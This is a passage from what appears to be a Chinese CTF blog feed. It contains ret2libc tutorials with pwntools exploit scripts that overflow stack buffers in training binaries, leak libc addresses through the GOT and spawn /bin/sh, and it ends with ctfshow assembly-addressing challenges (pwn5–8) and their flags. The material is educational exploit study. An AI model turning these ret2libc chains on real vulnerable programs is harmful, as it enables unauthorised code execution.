class="line">$ ROPgadget --binary ret2libc2  --string <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p</span><br><span class="line">.plt:08048490 _system         proc near               ; CODE XREF: secure+44↓p</span><br><span class="line">.bss:0804A080                 public buf2</span><br><span class="line">.bss:0804A080 ; char buf2[100]</span><br><span class="line">.bss:0804A080 buf2            db 64h dup(?)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2libc2 --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;ebx&#x27;</span></span><br><span class="line">0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x0804843d : pop ebx ; ret</span><br></pre></td></tr></table></figure><p>选择0x080481c9 : pop ebx ; ret</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">sh = process(<span class="string">&#x27;./ret2libc2&#x27;</span>)</span><br><span class="line">gets_plt = <span class="number">0x08048460</span></span><br><span class="line">system_plt = <span class="number">0x08048490</span></span><br><span class="line">pop_ebx = <span class="number">0x0804843d</span> <span class="comment">#清理 Gadget</span></span><br><span class="line">buf2 = <span class="number">0x804a080</span></span><br><span class="line">payload = flat(</span><br><span class="line">    [<span class="string">b&#x27;a&#x27;</span> * <span class="number">112</span>, gets_plt, pop_ebx, buf2, system_plt, <span class="number">0xdeadbeef</span>, buf2])</span><br><span class="line"><span class="comment">#payload=b&#x27;a&#x27;*112+p32(gets_plt)+p32(pop_ebx)+p32(buf2)+p32(system_plt)+p32(0)+p32(buf2)</span></span><br><span class="line">sh.sendline(payload)</span><br><span class="line">sh.sendline(<span class="string">b&#x27;/bin/sh&#x27;</span>)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><p>需要注意的是，我这里向程序中 bss 段的 buf2 处写入 &#x2F;bin&#x2F;sh 字符串，并将其地址作为 system 的参数传入。这样以便于可以获得 shell。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./ret2libc2&#x27;</span>: pid 431</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Something surprise here, but I don<span class="string">&#x27;t think it will work.</span></span><br><span class="line"><span class="string">What do you think ?$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag  exp.py  pwn  ret2libc1  ret2libc2  ret2libc3  ret2syscall</span></span><br></pre></td></tr></table></figure><h2 id="例-3"><a href="#例-3" class="headerlink" title="例 3"></a>例 3</h2><p>这里以 bamboofox 中的 ret2libc3 为例 。</p><blockquote><p>点击下载: <a href="../../../../../../../challenges/ret2libc3">ret2libc3</a></p></blockquote><p>在例 2 的基础上，再次将 system 函数的地址去掉。此时，我们需要同时找到 system 函数地址与 &#x2F;bin&#x2F;sh 字符串的地址。首先，查看安全保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x ret2libc3</span><br><span class="line">$ checksec ret2libc3</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>可以看出，源程序仍旧开启了堆栈不可执行保护。进而查看源码，发现程序的 bug 仍然是栈溢出：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+1Ch] [ebp-64h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;No surprise anymore, system disappeard QQ.&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Can you find it !?&quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">secure</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">time_t</span> seed; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> input; <span class="comment">// [esp+18h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> secretcode; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  seed = time(<span class="number">0</span>);</span><br><span class="line">  srand(seed);</span><br><span class="line">  secretcode = rand();</span><br><span class="line">  __isoc99_scanf(&amp;unk_8048730, &amp;input);</span><br><span class="line">  <span class="keyword">if</span> ( input == secretcode )</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;no_shell_QQ&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么我们如何得到 system 函数的地址呢？这里就主要利用了两个知识点：</p><ul><li>system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。</li><li>即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集，如下</li><li><a href="https://github.com/niklasb/libc-database">https://github.com/niklasb/libc-database</a></li></ul><p>所以如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。</p><p>那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。<strong>当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。</strong></p><p>我们自然可以根据上面的步骤先得到 libc，之后在程序中查询偏移，然后再次获取 system 地址，但这样手工操作次数太多，有点麻烦，这里给出一个 libc 的利用工具，具体细节请参考 readme：</p><ul><li><a href="https://github.com/lieanu/LibcSearcher">https://github.com/lieanu/LibcSearcher</a></li></ul><p>此外，在得到 libc 之后，其实 libc 中也是有 &#x2F;bin&#x2F;sh 字符串的，所以我们可以一起获得 &#x2F;bin&#x2F;sh 字符串的地址。</p><p>这里我们泄露 __libc_start_main 的地址，这是因为它是程序最初被执行的地方。基本利用思路如下</p><ul><li>泄露 __libc_start_main 地址</li><li>获取 libc 版本</li><li>获取 system 地址与 &#x2F;bin&#x2F;sh 的地址</li><li>再次执行源程序</li><li>触发栈溢出执行 system(‘&#x2F;bin&#x2F;sh’)</li></ul><p>exp 如下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#from LibcSearcher import LibcSearcher</span></span><br><span class="line">libc = ELF(<span class="string">&quot;/lib/i386-linux-gnu/libc.so.6&quot;</span>) <span class="comment">#打本地</span></span><br><span class="line">sh = process(<span class="string">&#x27;./ret2libc3&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ret2libc3&#x27;</span>)</span><br><span class="line">puts_plt =elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">libc_start_main_got = elf.got[<span class="string">&#x27;__libc_start_main&#x27;</span>]</span><br><span class="line">main = elf.symbols[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;leak libc_start_main_got addr and return to main again&quot;</span>)</span><br><span class="line">payload = flat([<span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>, puts_plt, main, libc_start_main_got])</span><br><span class="line">sh.sendlineafter(<span class="string">b&#x27;Can you find it !?&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;get the related addr&quot;</span>)</span><br><span class="line">libc_start_main_addr = u32(sh.recv()[<span class="number">0</span>:<span class="number">4</span>])</span><br><span class="line">libcbase=libc_start_main_addr-libc.sym[<span class="string">&#x27;__libc_start_main&#x27;</span>]</span><br><span class="line">system_addr = libcbase + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh_addr = libcbase + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"><span class="comment">#libc = LibcSearcher(&#x27;__libc_start_main&#x27;, libc_start_main_addr)</span></span><br><span class="line"><span class="comment">#libcbase = libc_start_main_addr - libc.dump(&#x27;__libc_start_main&#x27;)</span></span><br><span class="line"><span class="comment">#system_addr = libcbase + libc.dump(&#x27;system&#x27;)</span></span><br><span class="line"><span class="comment">#binsh_addr = libcbase + libc.dump(&#x27;str_bin_sh&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;get shell&quot;</span>)</span><br><span class="line">payload = flat([<span class="string">b&#x27;A&#x27;</span> * <span class="number">104</span>, system_addr, <span class="number">0xdeadbeef</span>, binsh_addr])</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python3 exp.py</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./ret2libc3&#x27;</span>: pid 48</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br><span class="line">leak libc_start_main_got addr and <span class="built_in">return</span> to main again</span><br><span class="line">get the related addr</span><br><span class="line">get shell</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  </span><br></pre></td></tr></table></figure><h2 id="例-4"><a href="#例-4" class="headerlink" title="例 4"></a>例 4</h2><blockquote><p>点击下载: <a href="../../../../../../../challenges/ret2libc4">ret2libc4</a><br>需要同时找到 system 函数地址与 &#x2F;bin&#x2F;sh 字符串的地址。<br>使用<code>file</code>和<code>checksec</code>命令查看二进制文件</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec ret2libc4</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">$ file ret2libc4</span><br><span class="line">ret2libc4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, <span class="keyword">for</span> GNU/Linux 2.6.32, BuildID[sha1]=6b427b8927f95bdfc8e3a8ee0b5c4af3a7b6a2f6, not stripped</span><br><span class="line">$ ldd ret2libc4</span><br><span class="line">linux-gate.so.1 (0xeb9ed000)</span><br><span class="line">libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xeb7a0000)</span><br><span class="line">/lib/ld-linux.so.2 (0xeb9ef000)</span><br></pre></td></tr></table></figure><p>ida打开分析，在<code>ret2libc</code>函数发现栈溢出漏洞</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ret2libc</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">136</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  write(<span class="number">1</span>, <span class="string">&quot;Welcome to Ret2libc\n&quot;</span>, <span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>思路就是，通过程序默认的<code>write</code>函数地址，调用并输出<code>write</code>函数运行在内存中的真实地址，接着通过偏移分析该程序的<code>libc</code>版本，然后通过<code>libc</code>偏移找到<code>system</code>地址和<code>/bin/sh</code>地址，脚本如下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#本地</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(log_level=&#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./ret2libc4&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./ret2libc4&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Welcome to Ret2libc\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取程序没有加载到内存 write 的地址</span></span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]  <span class="comment"># main = 0x080484F4 </span></span><br><span class="line"><span class="comment"># 第一次栈溢出，获取write函数在内存中的真实地址</span></span><br><span class="line"><span class="comment"># 返回地址为 main，在执行完write函数再次运行main函数</span></span><br><span class="line"><span class="comment"># write(1,write_got,4)</span></span><br><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>)+p32(write_plt)+p32(main)+p32(<span class="number">1</span>)+p32(write_got)+p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取程序在内存中运行write函数的真实地址</span></span><br><span class="line">write_addr = u32(io.recv(<span class="number">0x4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;write_addr is %#x&quot;</span> %write_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果题目给了libc</span></span><br><span class="line"><span class="comment"># libc基地址  = write_addr - libc中write_addr的偏移</span></span><br><span class="line">libc_base = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;libc_base is %#x&quot;</span> %libc_base)</span><br><span class="line"><span class="comment"># 根据基地址获取 system 和 /bin/sh 的地址</span></span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 再一次栈溢出，调用system函数执行/bin/sh</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;Welcome to Ret2libc\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>)+p32(system_addr)+p32(<span class="number">0</span>)+p32(bin_sh_addr)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./ret2libc4&#x27;</span>: pid 70</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">write_addr is 0xf627fb80</span><br><span class="line">libc_base is 0xf6168000</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="例-5"><a href="#例-5" class="headerlink" title="例 5"></a>例 5</h2><blockquote><p>点击下载: <a href="../../../../../../../challenges/x64_ret2plt">x64_ret2plt</a><br>需要同时找到 system 函数地址与 &#x2F;bin&#x2F;sh 字符串的地址。<br>使用<code>file</code>和<code>checksec</code>命令查看二进制文件</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec x64_ret2plt</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">$ file x64_ret2plt</span><br><span class="line">x64_ret2plt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="keyword">for</span> GNU/Linux 2.6.32, BuildID[sha1]=d20b3b3f61548631d45d5b04c7c5381a196e0631, not stripped</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(log_level=&#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./x64_ret2plt&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./x64_ret2plt&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">system=elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br></pre></td></tr></table></figure><h3 id="题目-¶"><a href="#题目-¶" class="headerlink" title="题目 ¶"></a>题目 <a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#_11">¶</a></h3><ul><li>train.cs.nctu.edu.tw: ret2libc</li></ul><h2 id="题目-¶-1"><a href="#题目-¶-1" class="headerlink" title="题目 ¶"></a>题目 <a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#_12">¶</a></h2><ul><li>train.cs.nctu.edu.tw: rop</li><li>2013-PlaidCTF-ropasaurusrex</li><li>Defcon 2015 Qualifier: R0pbaby</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ret2libc&quot;&gt;&lt;a href=&quot;#ret2libc&quot; class=&quot;headerlink&quot; title=&quot;ret2libc&quot;&gt;&lt;/a&gt;ret2libc&lt;/h1&gt;&lt;h2 id=&quot;原理&quot;&gt;&lt;a href=&quot;#原理&quot; class=&quot;headerlink&quot; titl</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="6-栈溢出与ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/"/>
    
    <category term="Stack Overflow" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/"/>
    
    <category term="x86x64" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/"/>
    
    <category term="3-基本ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/3-%E5%9F%BA%E6%9C%ACROP/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>pwn5-34</title>
    <link href="https://rhea006.github.io/2025/07/d3c259498976.html"/>
    <id>https://rhea006.github.io/2025/07/d3c259498976.html</id>
    <published>2025-07-09T04:00:00.000Z</published>
    <updated>2025-08-30T01:21:00.791Z</updated>
    
    <content type="html"><![CDATA[<p>本分类为让大家了解一些寄存器、寻址方式</p><p>汇编代码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">section .data</span><br><span class="line">msg db &quot;Welcome_to_CTFshow_PWN&quot;, 0</span><br><span class="line">section .text</span><br><span class="line">global _start</span><br><span class="line">_start:</span><br><span class="line">; 立即寻址方式</span><br><span class="line">mov eax, 11 ; 将11赋值给eax</span><br><span class="line">add eax, 114504 ; eax加上114504</span><br><span class="line">sub eax, 1 ; eax减去1</span><br><span class="line">; 寄存器寻址方式</span><br><span class="line">mov ebx, 0x36d ; 将0x36d赋值给ebx</span><br><span class="line">mov edx, ebx ; 将ebx的值赋值给edx</span><br><span class="line">; 直接寻址方式</span><br><span class="line">mov ecx, [msg] ; 将msg的地址赋值给ecx</span><br><span class="line">; 寄存器间接寻址方式</span><br><span class="line">mov esi, msg ; 将msg的地址赋值给esi</span><br><span class="line">mov eax, [esi] ; 将esi所指向的地址的值赋值给eax</span><br><span class="line">; 寄存器相对寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">add ecx, 4 ; 将ecx加上4</span><br><span class="line">mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax</span><br><span class="line">; 基址变址寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">mov edx, 2 ; 将2赋值给edx</span><br><span class="line">mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax</span><br><span class="line">; 相对基址变址寻址方式</span><br><span class="line">mov ecx, msg ; 将msg的地址赋值给ecx</span><br><span class="line">mov edx, 1 ; 将1赋值给edx</span><br><span class="line">add ecx, 8 ; 将ecx加上8</span><br><span class="line">mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax</span><br><span class="line">; 输出字符串</span><br><span class="line">mov eax, 4 ; 系统调用号4代表输出字符串</span><br><span class="line">mov ebx, 1 ; 文件描述符1代表标准输出</span><br><span class="line">mov ecx, msg ; 要输出的字符串的地址</span><br><span class="line">mov edx, 22 ; 要输出的字符串的长度</span><br><span class="line">int 0x80 ; 调用系统调用</span><br><span class="line">; 退出程序</span><br><span class="line">mov eax, 1 ; 系统调用号1代表退出程序</span><br><span class="line">xor ebx, ebx ; 返回值为0</span><br><span class="line">int 0x80 ; 调用系统调用</span><br></pre></td></tr></table></figure><p>使用NASM汇编器和ld链接器编译成可执行文件。<br>首先，将代码保存为一个文件，例如 <code>Welcome_CTFshow.asm</code> 。然后，使用以下命令将其编译为对象文件：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nasm -f elf Welcome_to_CTFshow.asm</span><br></pre></td></tr></table></figure><p>这将生成一个名为 Welcome_CTFshow.o 的对象文件。接下来，使用以下命令将对象文件链接成可执行文件：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o</span><br></pre></td></tr></table></figure><p>这将生成一个名为 Welcome_CTFshow 的可执行文件。</p><p>IDA查看汇编代码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:08048080                 public start</span><br><span class="line">.text:08048080 start           proc near               ; DATA XREF: LOAD:08048018↑o</span><br><span class="line">.text:08048080                 mov     eax, 0Bh</span><br><span class="line">.text:08048085                 add     eax, 1BF48h</span><br><span class="line">.text:0804808A                 sub     eax, 1</span><br><span class="line">.text:0804808D                 mov     ebx, 36Dh</span><br><span class="line">.text:08048092                 mov     edx, ebx</span><br><span class="line">.text:08048094                 mov     ecx, dword ptr aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:0804809A                 mov     esi, offset aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:0804809F                 mov     eax, [esi]</span><br><span class="line">.text:080480A1                 mov     ecx, offset aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:080480A6                 add     ecx, 4</span><br><span class="line">.text:080480A9                 mov     eax, [ecx]</span><br><span class="line">.text:080480AB                 mov     ecx, offset aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:080480B0                 mov     edx, 2</span><br><span class="line">.text:080480B5                 mov     eax, [ecx+edx*2]</span><br><span class="line">.text:080480B8                 mov     ecx, offset aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:080480BD                 mov     edx, 1</span><br><span class="line">.text:080480C2                 add     ecx, 8</span><br><span class="line">.text:080480C5                 mov     eax, [ecx+edx*2-6]</span><br><span class="line">.text:080480C9                 mov     eax, 4</span><br><span class="line">.text:080480CE                 mov     ebx, 1          ; fd</span><br><span class="line">.text:080480D3                 mov     ecx, offset aWelcomeToCtfsh ; &quot;Welcome_to_CTFshow_PWN&quot;</span><br><span class="line">.text:080480D8                 mov     edx, 16h        ; len</span><br><span class="line">.text:080480DD                 int     80h             ; LINUX - sys_write</span><br><span class="line">.text:080480DF                 mov     eax, 1</span><br><span class="line">.text:080480E4                 xor     ebx, ebx        ; status</span><br><span class="line">.text:080480E6                 int     80h             ; LINUX - sys_exit</span><br><span class="line">.text:080480E6 start           endp</span><br><span class="line">.text:080480E6</span><br><span class="line">.text:080480E6 _text           ends</span><br><span class="line">.text:080480E6</span><br><span class="line">.data:080490E8 ; ===========================================================================</span><br><span class="line">.data:080490E8</span><br><span class="line">.data:080490E8 ; Segment type: Pure data</span><br><span class="line">.data:080490E8 ; Segment permissions: Read/Write</span><br><span class="line">.data:080490E8 _data           segment dword public &#x27;DATA&#x27; use32</span><br><span class="line">.data:080490E8                 assume cs:_data</span><br><span class="line">.data:080490E8                 ;org 80490E8h</span><br><span class="line">.data:080490E8 aWelcomeToCtfsh db &#x27;Welcome_to_CTFshow_PWN&#x27;,0</span><br><span class="line">.data:080490E8                                         ; DATA XREF: LOAD:0804805C↑o</span><br><span class="line">.data:080490E8                                         ; start+14↑r ...</span><br><span class="line">.data:080490E8 _data           ends</span><br><span class="line">.data:080490E8</span><br><span class="line">.data:080490E8</span><br><span class="line">.data:080490E8                 end start</span><br></pre></td></tr></table></figure><p>地址为：0x80490E8</p><h2 id="pwn5"><a href="#pwn5" class="headerlink" title="pwn5"></a>pwn5</h2><p>Hint：运行此文件，将得到的字符串以ctfshow{xxxxx}提交。</p><p>​        如：运行文件后 输出的内容为 Hello_World</p><p>​        提交的flag值为：ctfshow{Hello_World}</p><p>​        注：计组原理题型后续的flag中地址字母大写</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./Welcome_to_CTFshow</span><br><span class="line">Welcome_to_CTFshow_PWN</span><br></pre></td></tr></table></figure><p>flag:ctfshow{Welcome_to_CTFshow_PWN}</p><h2 id="pwn6"><a href="#pwn6" class="headerlink" title="pwn6"></a>pwn6</h2><p>Hint：立即寻址方式结束后eax寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 立即寻址方式</span><br><span class="line">mov eax, 11 ; 将11赋值给eax</span><br><span class="line">add eax, 114504 ; eax加上114504</span><br><span class="line">sub eax, 1 ; eax减去1</span><br></pre></td></tr></table></figure><p>根据题目源码注释片段可以了解到立即寻址方式在哪，而且可以直接算出，在IDA中对应片段：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:08048080                 mov     eax, 0Bh</span><br><span class="line">.text:08048085                 add     eax, 1BF48h</span><br><span class="line">.text:0804808A                 sub     eax, 1</span><br></pre></td></tr></table></figure><p>结果：0x0b+0x1bf48-0x1&#x3D;0x1bf52&#x3D;114514</p><p>flag:ctfshow{114514}</p><h2 id="pwn7"><a href="#pwn7" class="headerlink" title="pwn7"></a>pwn7</h2><p>Hint：寄存器寻址方式结束后edx寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 寄存器寻址方式</span><br><span class="line">mov ebx, 0x36d ; 将0x36d赋值给ebx</span><br><span class="line">mov edx, ebx ; 将ebx的值赋值给edx</span><br></pre></td></tr></table></figure><p>对应IDA片段：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0804808D                 mov     ebx, 36Dh</span><br><span class="line">.text:08048092                 mov     edx, ebx</span><br></pre></td></tr></table></figure><p>故flag:ctfshow{0x36D}</p><h2 id="pwn8"><a href="#pwn8" class="headerlink" title="pwn8"></a>pwn8</h2><p>Hint：直接寻址方式结束后ecx寄存器的值为？</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; 